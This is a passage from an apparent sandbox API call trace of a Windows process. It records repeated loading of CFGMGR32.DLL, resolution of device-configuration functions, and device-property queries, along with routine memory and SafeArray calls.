(_Size=0x48) returned 0x20abc27cf80 [0247.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4f4e1bd9, dwHighDateTime=0x1d9eb0c)) [0247.535] SetEvent (hEvent=0x248) returned 1 [0247.540] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.541] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.544] malloc (_Size=0x18) returned 0x20abc281fe0 [0247.545] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0247.545] malloc (_Size=0x5a) returned 0x20abc280370 [0247.545] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc280370, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc280370, pulLength=0x2dc22fd3f8) returned 0x0 [0247.546] free (_Block=0x20abc280370) [0247.546] malloc (_Size=0x48) returned 0x20abc27cf80 [0247.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4f507fcb, dwHighDateTime=0x1d9eb0c)) [0247.546] SetEvent (hEvent=0x248) returned 1 [0247.691] malloc (_Size=0x18) returned 0x20abc281e40 [0247.691] SafeArrayPutElement (psa=0x20abbaf1d60, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0247.691] free (_Block=0x20abc281e40) [0247.691] malloc (_Size=0x18) returned 0x20abc281b20 [0247.691] SafeArrayPutElement (psa=0x20abbaf1d60, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0247.691] free (_Block=0x20abc281b20) [0247.691] malloc (_Size=0x18) returned 0x20abc281ba0 [0247.691] SafeArrayPutElement (psa=0x20abbaf1d60, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0247.691] free (_Block=0x20abc281ba0) [0247.691] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bcf0 [0247.691] SafeArrayGetDim (psa=0x20abbaf1d60) returned 0x1 [0247.691] SafeArrayGetLBound (in: psa=0x20abbaf1d60, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0247.691] SafeArrayGetUBound (in: psa=0x20abbaf1d60, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0247.691] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0247.691] SafeArrayGetDim (psa=0x20abbaf1d60) returned 0x1 [0247.691] SafeArrayGetUBound (in: psa=0x20abbaf1d60, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0247.691] SafeArrayGetElemsize (psa=0x20abbaf1d60) returned 0x8 [0247.692] SafeArrayGetElement (in: psa=0x20abbaf1d60, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0247.692] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0247.692] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0247.692] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935c0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0247.693] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0247.694] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bcf0) returned 1 [0247.694] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.695] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.700] malloc (_Size=0x18) returned 0x20abc281ce0 [0247.701] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0247.701] malloc (_Size=0x48) returned 0x20abc27cf80 [0247.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4f6856b2, dwHighDateTime=0x1d9eb0c)) [0247.701] SetEvent (hEvent=0x248) returned 1 [0247.705] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.705] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.709] malloc (_Size=0x18) returned 0x20abc281ce0 [0247.709] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0247.712] malloc (_Size=0x48) returned 0x20abc27cf80 [0247.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4f6ab728, dwHighDateTime=0x1d9eb0c)) [0247.713] SetEvent (hEvent=0x248) returned 1 [0247.718] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.718] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.718] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.718] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.722] malloc (_Size=0x18) returned 0x20abc2820a0 [0247.722] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0247.722] malloc (_Size=0x48) returned 0x20abc27cf80 [0247.722] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4f6ab728, dwHighDateTime=0x1d9eb0c)) [0247.723] SetEvent (hEvent=0x248) returned 1 [0247.727] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.728] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.731] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.731] malloc (_Size=0x18) returned 0x20abc281d20 [0247.731] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0247.732] malloc (_Size=0x48) returned 0x20abc27cf80 [0247.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4f6d1ab4, dwHighDateTime=0x1d9eb0c)) [0247.732] SetEvent (hEvent=0x248) returned 1 [0247.737] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.737] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.741] malloc (_Size=0x18) returned 0x20abc282060 [0247.741] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0247.741] malloc (_Size=0x48) returned 0x20abc27cf80 [0247.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4f6d1ab4, dwHighDateTime=0x1d9eb0c)) [0247.742] SetEvent (hEvent=0x248) returned 1 [0247.877] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.877] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.881] malloc (_Size=0x18) returned 0x20abc281c40 [0247.882] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0247.886] malloc (_Size=0x48) returned 0x20abc27cf80 [0247.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4f84f1c0, dwHighDateTime=0x1d9eb0c)) [0247.886] SetEvent (hEvent=0x248) returned 1 [0247.892] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.892] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 